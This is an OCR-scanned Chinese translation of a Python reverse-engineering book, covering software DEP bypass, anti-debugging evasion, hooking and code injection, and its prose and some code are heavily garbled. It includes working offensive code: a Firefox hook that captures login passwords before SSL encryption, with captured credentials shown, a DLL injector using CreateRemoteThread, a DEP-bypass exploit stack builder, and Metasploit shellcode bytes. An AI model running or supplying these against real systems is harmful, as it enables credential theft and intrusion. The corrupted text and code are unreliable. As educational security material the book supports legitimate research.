7C935D72 .50 PUSH EAX

7C935D73 . 6A22 PUSH 22

7C935D75 . 6AFF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess

T AR 5 2 1 NtSetInformationProces H 4 £ . HAGELEL AL A1 1, #2238
ESI, B R AT 2 0x7C93FEBA. 1EIX HUKE ESI #5 D1tttk EBP-4 (icf3 ESI #4472

o FHEIEFKAM B F] 7CO1D403 . FEIX HUK A HEAR EBP-4 IMHAEZ . N Bk4% 2
0x7C935D6D . MIX HITIRAFHER, 4 B3 — ISR, EBP-4 (JRZE 21 #n#kit EAX,
RIGIENRR, & 0x22 BEEN, WJa-1 A (-1 FoR2E I AT ) DEP). %~ H
ZwSetInformationProcess (NtSetInformationProcess [ BIFR ). b T FIACHS 5E B T REAH 24 T
I T A R R -

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect! iXFEHEFERT DEP SE#EEUHE T MEX 2 ATA UL IE R . 25— exploit fX
/S0 0x7C91D3FS 454 . 2 —#ATH| 0x7CID3F8 Wi, Waffk AL WHE L 1.— HiF
JE T IX SRR, IRATELREE L IMP ESP F#% Hil BUE #5 25 AT shellcode. BALFE [8] Bl — A b
ZI ) A bk«

— R AL B A 1 AR IR [E] .
—ANHuHEAE v —IE 5 I DEP ARG 1 Hohk .
— AN HBHERG AT B FR IR [7] 2] F A1 shellcode

FEFH AR TR E T TR e b, Aid Immunity $24t T findantidep.py % Bi3AT] 58 B
X o FJa RIS E— A exploit FAFE, B S5IRHE O exploit 454, BUREHSMI 1. 2
T KEE findantidep.py U, 2R KKl FH & 247K

#findantidep.py
import immlib
import immutils
def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]),
ord(buf[1]), ord(buf[2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""

def main(args):



imm=immlib.Debugger()
addylist =[]
mod = imm.getModule("ntdll.dll")
if not mod:
return "Error: Ntdll.dll not found!"
# Finding the First ADDRESS  ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address [sets AL to 1]",
addylist)
firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0x%08x" % firstaddy, address = firstaddy)
# Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(),
"CMP AL,0x1\n PUSH 0x2\n
POP EST\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address= secondaddy )
# Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm code to search for")
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist =[]
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the Third return Address [jumps to
shellcode]", addylist)
thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%s\\x fA\X fFA\x fA\x f{%s \x A\ fFA\ AN " + "A" *
0x54 + "%s" + shellcode ' %\
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) )

BT HIE A "MOV AL, 1\nRET", 2R & 76 Hidik 41 8 i 56— . 5 7E ntdILdll B R K
DEP 81, & = FHREPATR R4 shellcode IACHD, XAMRILA FH N, G
g SR NAE Log T 1. B 5-4 3 5-6 mi AR



()% I Ear‘u:ell

Figure 5-4: 55—, EHF— Mk, FFEE AL A1
Insert the Asm code to search for x|

JMF ESP

(0] % I Cancel

Figure 5-5: i \ 5 2 R 4R 4

Please, choose the Third return Address [jumps

xGf3abel s C:AWINDOWSYAppPatch AcGenral DLL

()% I Cancel

Figure 5-6: 14— ™k [o] iy ik

wIE A B 85 RuT:
stack = "\x75\x24\x01\x01\xfAxfA\xfA\xfA\x56\x31\x91\x 7c\x fi\x fi\xfi\xff" + "A" * 0x54 +
"x75\x24\x01\x01" + shellcode

B A B ARIS FIR T shelledoe A2 J5, IREERER: exploit A F 2 A Jx DEP 1 R4t
UAE 187 5.1 Python BEIAS Bt BEEAR J6 (19 B 1] PN & HE ARUE 11 exploit, PN AE LA
AN R, B S AR 30 PG . BNk 2E ST W A immlib S5 B ) — M 1R
Bl .

5.4 55 [ AL

BUEE R B AR BB 1, IR RAE RS, fRIE A . — I, KA
T B I AR A ARSI, 53— 7 T A S R L, S Pl 1 il o 3 T SR BRATTRE
T E N SOR AL, F A Immunity 385085 A1 Python €& B CHIIA SR S ML .



S.4.1 IsDebuggerPresent

UAE B FH I S R ML 5t 2 F IsDebuggerPresent (H kernel32.5:H1 ). uiﬂl? WS
B, RIS MR AT EERE, sk a1, IR A 0. 40 SR IATT BRI G X A bR £

7C813093 >/§ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]

7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \.C3 RETN

AR 8 i AN B (%) T k4K 3 B E B AR A R B A, 25— AT, I FS A A48 1 56 0x18
fr 3 H] TIB (RFE(S YO ftthht . 55 4781 TIB (115 0x30 A7 4% | PEBGIFEHA 15 B Hk)
Fiihht. 28 =417% PEB 1) 0x2 /7 & ) BeingDebugged A8 E A7 7E EAX FA 78, WREGH
RSP B3R, Z A8 N 0x1.Damian Gomez $24t T — /M8 #1177 8¢ 1L IsDebuggerPresent,
A DMRJ7 (I /E Immunity $h4T, Bi#7E PyCommand HifH] .

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

T AR BS K PEB Y BeingDebugged Fr & B 24 1) W B R 0. B 7E 0 B O A fE
IsDebuggerPresent SR HIWr 7 ifiRk%s 17, ©148 7T,

542  fREHEMNRS

I B 2 WA 28 BT A e AT P RE LA A 2 15 A TR 1R 1217 . 280017, W SRR IEZEH
Immunity &8 — MR E, aiEM— 4% N ImmunityDebugger.exe fHEFE . i 88 H
Process32First 248 55 — MM AU3EFE, 235 H Process32Next fEFA SR T A2 . XA
BRI A 2R Bl — AR B, A VR RO BT ) FATE B SR B R BE (7
G TE EAX B 7as 4D, BiAME N 0 Slae e R ARLe A # 1. AR

process32first = imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [ process32first, process32next |
patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode.address, patch_bytes )

BRI A s b, BN EIA R . SR AR — B T ARSI S s 1D, AR
9% EAX WE R 0, SRJEIR[E] . 2 F K I %% Process32First Al Process32Next PR 56 11T
FIARAY o IXFEMUR) B & — L = 2 A B 2 A R BT Sk 2 B i oL . BATAESS 10



ITHENANT, iRl R 1o SR)5 Al B R FRAT B A TARES 5 56 10 47, BAELRE
2 FH A R B 22 i [ 2R

FATEL P TP T £ Python A1 Immunity WR2s, #0955 55 ok K BERAT
R 2 B R R IR e B A A, AT iR A 2 54 . (HA2 Immunity TG
SENG 22 BN AR XA B BLE FF K exploit FFE o

N REB LW A TR 1) hooking F7 A .



6

HOOKING

Hooking 52— 55 K 1 73 #2 I3 1% (process-observation) 7
RN AR WA, DL ALHERE A 308 0 U7 e A 2 2

Hooking # F T B&j# rootkits, FHUZEAE R, AR T/E. 70 m R, i i g &
L) hook I RILANTR EME R, BB HIRZ F THAEMIKE]. hook, fAIHLMITHA.

7t Windows &4, A IEH 2 1771558 hook. FATEZENHMFH: soft hook Fl hard
hook. soft hook il & 7E M INAY HARZERE S, A INT3 iy, #AE SR MSAT R . XA
58 I “P W Ak 1R{% . hard hook NIZTE H AxiEFE FH i 265 ( hard-coding)—/MBk#%
F| hook ARG (L4455 ). Soft hook 714 % ¥ sk £ i H HHARA H . 481, SN 17X H bR
HEFE P72 B/ )52 g i A B hard hook « A A AP E A hard hook , 4 ) A&
heap-management routines 1 intensive file I/O operations.

FAVERTTH A A H) T2 SZH hook. ] PyDbg SEIH soft hook FH MR I 2 1t 9 48 44 % .
A Immunity SZ3) hard hook fil— %= ] heap instrumentation.

6.1 Fil PyDbg 531, Soft Hooking

S5 — M T 5 R AE S JZ PR N P I 28 A% i o P SR 1 BH 1 i R 554 2 T ) T
YESRE, FRATERS A — AN L4 BT 28 51 U Wireshark . R ANFE[I/ZE, Wireshark 3R 152 i
ML, ARV T3] . soft hooking /R RS 7E K4 N % 7y B4 #2527
IR JE g EA .

SEI6 H b st e B i AT B IR % 28 Mozilla Firefox. N T iX RS2, AR ¥ Firefox
SEVRRT 52 AH 24308 . FRATHIAESS 2 18 firefox.exe HEFE N2 B Ay MELAR H 508 o
DRAE B8 FH 16T IR 288 0 55 B O A2 SSL, IR IR 1) 32 22 H A il S fi o b

T REFR B A ORI s B ALk ), 7R A i S B R A B H T
(http://forum.immunityinc.com/index.php?topic=35.0. ) I 75 T E i v 1 n) sl A& AE AT 4 3B
¥ & hook. FATSEMEE ¥ hook ¥ B AL PR Write B4t = (HI nspra.dIL S H!) . 243X e& Bk
PAT B, HERR[ ESP + 8 1H8M] ASCIL =458 (AL & FATTHE S8 PIE AN 5D ESP +
8 UViBHEAE PR Write 25 = ANef%l, HORRAIFEER, dRE, mMEEF.

B 5T Firefox, Hi AMHE https://www.openrce.org/. — EARFEW T SSIE+S, TUHIEL
IN# R . #:3% Immunity N3] firefox.exe FEFELE nsprd PR Write ¥ & Wi i . 7 OpenRCE
Wbkt FfA A ERE O, WEH AN test 1% test, s Login %40, % & W7
SEZIWE AR s TR RO, Wi B . Bn, ARKETEARE B W B 2R

[ESP + 8] => ASCII "username=test&password=test&remember me=on"



IRUF, FAVRIEW A S T H P 25D (H2 0 RS2 E B, ke —i
225 SSL s o= U . X PP 5 1EAVUAT OpenRCE A 3L /R S AT A — > 75 E24%
S TR S (1 O Sl T BT 4, 3K LB K IR 25 5 I i HE 31 o IRTE T AR AN TR TR A28
AR T, A R TIE.

7 PyDbg 5E X soft hook 2 i, 752258 L —ML&UiA hook HARMIZASE . W FHI46
A5

hooks = utils.hook container()
{#iH hook container 211 add() /7 V244 F-ATT5E LI hook fHidk 2. bR EFE Y.
add( pydbg, address, num_arguments, func_entry hook, func_exit hook )

B NSENE R — AU pydbg Hbx, address 20 B L E 22 2% hook L,
num_arguments B¢ & AL 25 hook 1S 4. func_entry hook Fll func_exit hook A& [F] 1 p8 4.
func_entry hook #& hook #%fih & 5 2. %1 ¥, func exit hook & 4% hook F BRI £ EE H 2
HIPAT Y entry hook F T-75 2 R EL 1) 250, exit hook I T-fai#i ek R 1) 3R [FIH

def entry _hook( dbg, args ):
# Hook code here
return DBG_ CONTINUE

dbg ZHBL B A R pydbg H AR, args #MC—DFIER, 5 hook fid A& I Ui 2 1 2

exit hook [BIH EREA — mAFEZ T4 ret 8, 8 1 REIR FEEAX HI{H):

def exit_hook( dbg, args, ret ):
# Hook code here
return DBG_ CONTINUE

2 F 54916 & anfel F entry hook WSR2 i (1 5040 -

#tirefox_hook.py

from pydbg import *

from pydbg.defines import *

import utils

import sys

dbg = pydbg()

found _firefox = False

# Let's set a global pattern that we can make the hook

# search for



pattern = "password"
# This is our entry hook callback function
# the argument we are interested in is args[1]
def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer =""
offset =0
while 1:
byte = dbg.read process _memory( args[1] + offset, 1 )
if byte !="\x00":
buffer +=byte
offset +=1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_ CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook address = dbg.func resolve debuggee("nspr4.dll","PR_Wri
if hook address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."

sys.exit(-1)



AT 1 AE PR_Write 1% E hook, 4 hook #fil A HIS i, FAT= sl th % =4
SRR FR R . WA RS REEE AT 21T H3h— ¥ Firefox, #AEIBAT
firefox _hook.py MIA . HE 2 ATHIDIR, 5% https://www.openrce.org/, H47& % Wi T

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=test&password=test&remember me=on

Pre-Encrypted: username=jms&password=yeahright! &remember me=on
Listing 6-1: How cool is that! FRATTREE Bl AN %1 (1 H ;44 %05

TATEEFEF [ soft hook M ELMTRKAE 7. XM T7EERERE FH T P ALK 1 120
Wi R 78 BT soft hook I TAFERIES , W SLa& 34 P A B i 1 ek 20 H I
Y BB, TSR, LaTREAE. RN, 4 INT3 #filR g, 24
PATARAZ 5 FATH hook RS Gk [H] . X BIFE SR AEH Z S, W KB B AT 5L
TRe BN RIEIRATE S Wil % & hard hook 1 instrument low-level heap
routines DA IRIX A i) .

6.2 Hard Hooking

IAERC RGBT T, hard hooking. 1XF) hook fRim &k, X HEFERI AR, KN
hook fRAGFETTE AR 1 x86 VL ZwAXA% . 7EA%F soft hook [ R iz 75 7wt fith /& [ B A A 1R 22 F A
KA, HAEWAT hook NG, Bk E L. {1H hard hook HIRS i, HEAEHFEN Y fE—
PXI, A7 hook XA, B4 B ML X AT 58 UG » IR BIEF R P HAT AR . AR s 2,
hard hook HFrHEFERINME, A EIF, A4 soft hook.

Immunity WHRESHEHL T — N BN R FastLogHook H >R A1I%E hard hook. FastLogHook
1£ T 5 hook MY RR B 5 ANBEEEICHY, B3 FastLogHook HUE [ —HRACHS X 18k, R #5 /y wik bk
B ARHE 7 55 AT A7 TR IX S A 1) X 3. MARMIE fast log hooks FRIR 5, 75 256 &
—/) hook %l #RJE & LR ME IR Er . FEFHESLANT -

imm = immlib.Debugger()

fast = immlib.FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

logFunction #5224, address Bt & 757 22 hook [ BR% P & 19 HE AN Hud: (XA Hb
HES e Bk AT 25 ). TSR AE BRI S0 hook, num arguments JII| ¢ B A AR Bl H2 3 1) 2
B B, OB R BN S R hook, W% E R 0. F ML FEMH



logRegister(),logBaseDisplacement(), and logDirectMemory() =~ J7 7% 5E .

logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )

logRegister() /5 v H T EREA R 3 A7 o8, LU EREZ R AR BME (AAB7E EAX H).
logBaseDisplacement() /7 VA#2 UK 2 NS4, — /N Fifrds, M— "M E; HTMEF RIS
ol HEARYE A R RAZ B3R #J5 —A logDirectMemory() Fi] T M 35 72 i 4 A7 b 1k 3R

4 hook filt%, log BREIMAT  J5, M ATk A4 Zu s A7 it £ — > FastLogHook H i ¥ dik.
N T H % hook LS B, RLZE ] getAllLog() k%L, ‘B <xik[Al—/> Python 51|

[( hook address, ( argl, arg2, argN )), ... ]

Fr AR IR hook it & (P4, ik i i Bk A7 7E hook _address B, AT A 7% Z (5 B A&
T i, &F 75— HEEN FastLogHook i /& STDCALLFastLogHook( f] T
STDCALL I Z15E). cdecl il FH £ %€ {8 i} FastLogHook.

Nicolas Waisman(T0 23 H % ) & T hippie(F] H hard hook), 7] PAYE Immunity il
1L PyCommand #47# H . Nico fFJfE Ut :

1)1& Hippie 1 H F2&4 T 81— F 1) log hook, 15145 Ak 38 ¥ 55 1 HE bR £ FH 22 i vl
Ao M7 WRARA Notepad 41—
AT TEHE, BT B A K4 4500 7K RtlAllocateHeap I RtlFreeHeap . 41 5% 7 Internet
Explorer, #MCMHEEBIRHASHE 10 5 HEF L,

83T hippie I HEERAE, X TR RS 3T HERI K exploit AHS B, T 1 R
K, AT AL hippie FIA% O Dy REGIEE — A& 5L (1A hippie_easy.py.

TERMNIIFEERT, S T T RtlAllocateHeap 1 RtlFreeHeap.

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN PVOID HeapBase

)i

PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE T Size

RtlFreeHeap 1 RtlAllocateHeap [ Fr 5 ZEU A2 LA HE 1), Ak



RtlAllocateHeap 3% [1] 357 HE [ Mk /2 75 L4 $2 19

#hippie easy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
def getRet(imm, allocaddr, max _opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )
if op.isRet():
if op.getlmmConst() == 0xC:
op = imm.disasmBackward( addr, 3 )
return op.getAddress()
addr = op.getAddress()
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFreeHeap
def showresult(imm, a, rtlallocate):
if a[0] == rtlallocate:
imm.Log( "RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] )
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a[1][0], a[1][1],
a[1][2]))

def main(args):

imm = immlib.Debugger()

Name = "hippie"

fast = imm.getKnowledge( Name )

if fast:
# We have previously set hooks, so we must want
# to print the results
hook_list = fast.getAllLog()
rtlallocate, rtlfree = imm.getKnowledge("FuncNames")
for a in hook_list:
ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook list)



# We want to stop the debugger before monkeying around

imm.Pause()

rtifree = imm.getAddress("ntdll.RtIFreeHeap")

rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")

module = imm.getModule("ntdll.dII")

if not module.isAnalysed():

imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point

rtlallocate = getRet( imm, rtlallocate, 1000 )

imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# Store the hook points

imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree ) )
# Now we start building the hook

fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the function

imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction( rtlallocate )

fast.logBaseDisplacement( "EBP", 8)

fast.logBaseDisplacement( "EBP", 0xC)

fast.logBaseDisplacement( "EBP", 0x10 )

fast.logRegister( "EAX" )

# We are trapping RtlFreeHeap at the head of the function

imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)

fast.logFunction( rtlfree, 3 )

# Set the hook

fast.Hook()

# Store the hook object so we can retrieve results later

imm.addKnowledge(Name, fast, force _add = 1)

return "Hooks set, press F9 to continue the process."

/R H Nico 2 AR B 2] 7] LL7E RtlAllocateHeap P15 B hook HIHBAE,
1A% RtlAllocateHeap BREUE & e o ) AT HIHE 2 & B AFEH):

0x7C9106D7 F605 FOO2FE7F TEST BYTE PTR DS:[7FFE02F0],2
0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903

0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB C2 0C00 RETN 0C

Python RS M bR £ 1)K BRI g, B EI7E 0x7C9106EB X E| RET 15 42K )5 ifi A\ %
ITHRAEE 0x0C. SRJEH R I g0 3 174842 21k 0x7C9106D7 . X FEM R AN /& 8 T i
HRBZREN S NMEHIMP 84 . WHRIRAIE RET ZXATE AN 5 ANFIH IMP #54,
H gt 2> 7 55 SR B ARRS S R o 8 TORAR T RE R AR R SR, R T RIS XS 55, kR
23t o X LG/ B B AR VR LR 2 v I S, AR T AT, AT 2 A SR EUR A



AT AR R T LRI W hook 2R IR E T, AR E T knowledge base H13RHL
VERHAR, SREFTEIH hook 5 8. JIASE — I AT I 5 5 B hook, 55 I AT MM
WML hook (1) &h B, REVIE AT #RIRIUHT ) hook E 4k o an S AR & 18 AT {7 /74 £ knowledge base
HEEbR, HEZEMHEIEN shell BU7RHHAT 1.

B Ja — B 2 #4 1% hook AN AR o X T RtlAllocateHeap 1 SR EXFT A I =24
WA IREME, RtlFreeHeap RZSRWM =Sl UL T« R 7B 100 47 AR, A
s T 98K hard hook, ¥ 8 FHATATT (14 R 45 A1 2 R (1) T B . Very cool!

ik H notepad.exe X, & F /&7 W Nico ATt T H— MXEHER & F Kl 4500 /N HE
PR . 7E Immunity F$T7F C:\WINDOWS\System32\notepad.exe iz47 'hippie _easy 4 (Ul
MEFR FHiE). WEHFE, £ Notepad FLi%HF File-->Open.

MAERINGS 3. R 181T hippie_easy, 1RFEFE 248 H &% N (ALT-L) 1% H -

RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
RtlFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c91e8)

Listing 6-2 i thippie easy PyCommand 7= 4 1) i

FEF LV BATE T2 1, R RE B Immunity 2R IPIRESR, &6 SILH 4674
AR o JITEL Nico 5EXS o ARBELEATAT I ik HBT IS AT BIAS LUE G BT i fi o 45 RN G 1 4L
{B. 5% cool fIHLTT & BT b5 U I FH AR AN 2 PEAR B E AR 1 $AT 2R

hook K 2 7E R B8 ) i b — O — IR T . A2 X BRI A2 2 1 d8 Al 9 K
hook %, IR —VIAZNMIBEAT, RKARLFH, KRZFMM, KZHEKRM. HETRIEK
122 ST anfar ] — ke, 2 AR



7
D11 FAHASYEAN

A I RAE AT I (7] TREBRE B Ry e A2 PP O, R AR AS
nEEE BARERR, HERBEARTRIFE A K. ZREAR—K
BRRAEN, T BCE A R TR R m R EH . EA
F 58 DLL AAREEIEA IR, BA1H% A Python 45 51X Bt

ﬁﬁﬁﬂ@—%ﬁﬁﬁ‘]ﬂﬁﬁ *%)? o N¥RIF K, exploit i’5, shellcode FlZ4:

TR HE S . B FORE ST S /2, B DLL VEANTE BARiERE Nisir—ANiE o, FARES
FENY shellcode vEN HFREBEFE, il shellcode ASEHEFE . &5 FATE F4E Python SEEl—AN )5
1o 7ESCEL I FR ol K & B BRI VN, Il — 2 A T, LR 3RATT e MGz 28 FE T 46
I VEN AR

71 G LEFE

PPN BARAE LA R BN, HESSMMFEEANL . G EImERE.
CreateRemoteThread() 58 /&, [FIAF HH HH kernel32.d11 ‘T . JRAL T

(xE
e

HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ ATTRIBUTES IpThreadAttributes,
SIZE T dwStackSize,
LPTHREAD START ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD IpThreadld

AKX A2 SHTE, ENURZEEAL FRREREN AT 55— NS4 hProcess Hi2



B EE N H bR R R ARG . IpThreadAttributes 25Ul 2 G128 LR FE I 2 /AR FF, Hrk
IEUE P | 2FE R B Re g T AR 4K . 7EiX B L W R B i NULL, #2158 — A
RE AR IR FE AR, FI— BN Z 2 H/IATF . dwStackSize SRR HI LT HIHR /N, 1E
X FE R E K 0, R B RGEREBINIIR /N F—IXSHR B E N IpStartAddress,
WAk e BT R R EHAT RS E N AR AL B . IpParameter F1 E—NMS8—HHE, A
R — N TRE, fRm BN AR X, B Sk B a2 AR s S B A AR 1 S AL
dwCreationFlags (k€ | E&FEWFITG . X BN E L 0, FARTELIEGNE 5 LlIHAT . B
Z VAN 43 MSDN. fitJa— 240 IpThreadld 75 £RF2 02 B2 5 I 78 B A2 1 1D

ST ZHMER, ERATE B WATE DLL AR HFREFE, LU shellcode IVEN.
PIF AL 0, A EVFRIARE, Bl oot R,

7.1.1 DLL /¥ A\

DLL {E NN IETNASHIE A . . Windows (1) shell 3 J& 95 2 AT EUEE A, AbAb#AE I
Flefl. ERea 2@ DLL AR LSRR 947 . DLL B SER 45 H,
REAIMU B K & gmde o b, IEREMNE R H bR fe, e o B AR —3 5 X
FEHAH, gt AP KRS Cednas RikRe e fsE S/ R, b 1ED.
T K1EIRATH Python 5 —> DLL yEAIA, S234 DLL v A$E € FATE T R .

FE—AN R B3\ DLL 751§ ] LoadLibrary() B4t (1 kernel32.dll S H!). oR %5 A
/I

HMODULE LoadLibrary(
LPCTSTR IpFileName

)

IpFileName Z4 N DLL f1#%4%  BA17 21k H 58 F LoadLibraryA Jn# AT DLL.
T Je M AT H LoadLibraryA 76 A7 H bk, S8 )5 % DLL MARfE N o SEBR /R 2 i
CreateRemoteThread(), IpStartAddress &[] LoadLibraryA HjHitik, IpParameter 57 DLL %
f£. 24 CreateRemoteThread VAT 2, % H A5 A2 H i FH LoadLibraryA JN#% 1 3RATTHI
DLL.
DLL 73 NI AIYETS, 7T M http://www.nostarch.com/ghpython.htm T %%,

#dll_injector.py

import sys

from ctypes import *

PAGE_READWRITE = 0x04

PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = sys.argv[1]

dll_path = sys.argv[2]

dll len =len(dll path)



# Get a handle to the process we are injecting into.
h process = kernel32.0OpenProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the DLL path
arg_address = kernel32.Virtual AllocEx(h_process, 0, dll_len, VIRTUAL ME
PAGE _READWRITE)
# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
byref(written))
# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")
h loadlib =kernel32.GetProcAddress(h _kernel32,"LoadLibraryA")
# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = ¢_ulong(0)
if not kernel32.CreateRemoteThread(h_process,
None,
0,
h_loadlib,
arg_address,
0,
byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread id.value

0, £ HbRE RN RG2S E], BT /A6E DLL BI#1%. 2 0, % DLL 4%
BNHEIF I bE. 55 =2, T LoadLibraryA AN TEMbALE. Beja—2, 5 HARHERE I
M LoadLibraryA itibif 77 DLL BEATH) N A7 AL, f£ A CreateRemoteThread(). —H.,
AFRAI It 2 F B — N

MEBRANCE RN TER T DLL VEAN. Zibif o Ot skt R . (HR XX T38A1
HIEEANRER, e HEE,

7.1.2 RASEAN

EIRATH R R, PR AURBIE RN shellcode VENF|—ANZATHIHERE, SLEIHR
17, AAEREE LR TAEFR . AR RERs — DR shell IERS 2 55— Dt RE.



R RBATIEH — A RIEL shellcode (REZE1EFRE PID MEFR) VRN HAREERE, A
Ja A B AR AR, A AN B AR AT IR o X0 T FRA A B e e B 1 5 1T R B R E B — 2,
[FIRE, AT B 7R Qo] 22 42 (135 3t shellcode, L& FH B 2 FIAFIAT 5 -

7] LLIE I Metasploit ) 3 T3R5 & B3R shellcode, “EA1H shellcode A il a% 3 & 4F
o tn 2z i it i, B85 http:/metasploit.com/shellcode/. X X FA1ME FH Windows
Execute Command shellcode A4 il #% . B [¥) shelledoe WK 7-1,

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b"
"\x4\x 1 8\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x0 1\xee\x3 1\xc0\x99"
"\xac\x84\xc0\x 74\x07\xc1\xca\x0d\x0 1\xc2\xeb\x f4\x3b\x 54\x24\x 04"
"\x75\xe5\x8b\x 5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1c\x01\xeb"
"\x8b\x 1c\x8b\x01\xeb\x89\x 5¢\x24\x04\xc3\x3 1\xc0\x64'\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x8b\x68\x08\xeb\x 09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x3 1\xf6\x60\x56\x89\x 8"
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x ff"
"\xe7\x74\x61\x73\x6b\x6b\x69\x6¢c\x6c\x20\x2 \x50\x49\x44\x20\x4 1"
"x41\x41\x4 1\x41\x4 1\x41\x41\x00";

Listing 7-1: 1 Metasploit /=[] Process-killing shellcode

£ %I shellcode f B {12 75 4% ' Restricted Characters SCAHE LLIE B 0x00 775, [A] i
Encoder HE 3 B BCER NGRS . 7E shellcode & o —ATIRE R T EHEM 8 Mxdl. A4 8
AR A? RN, JETHERATE S A48 2 PID(FF B4 A58 I HERE ) A B, HEHE 8 Mxd4l
Bk PID BIBUEMAT 1, FF A6 B \x00 B . W 2§ A2 I B A5 shellcode #E4T
TS, WS 8 A A e iigmiy, BIRMER SRR, WA KRB e pth
J7 o

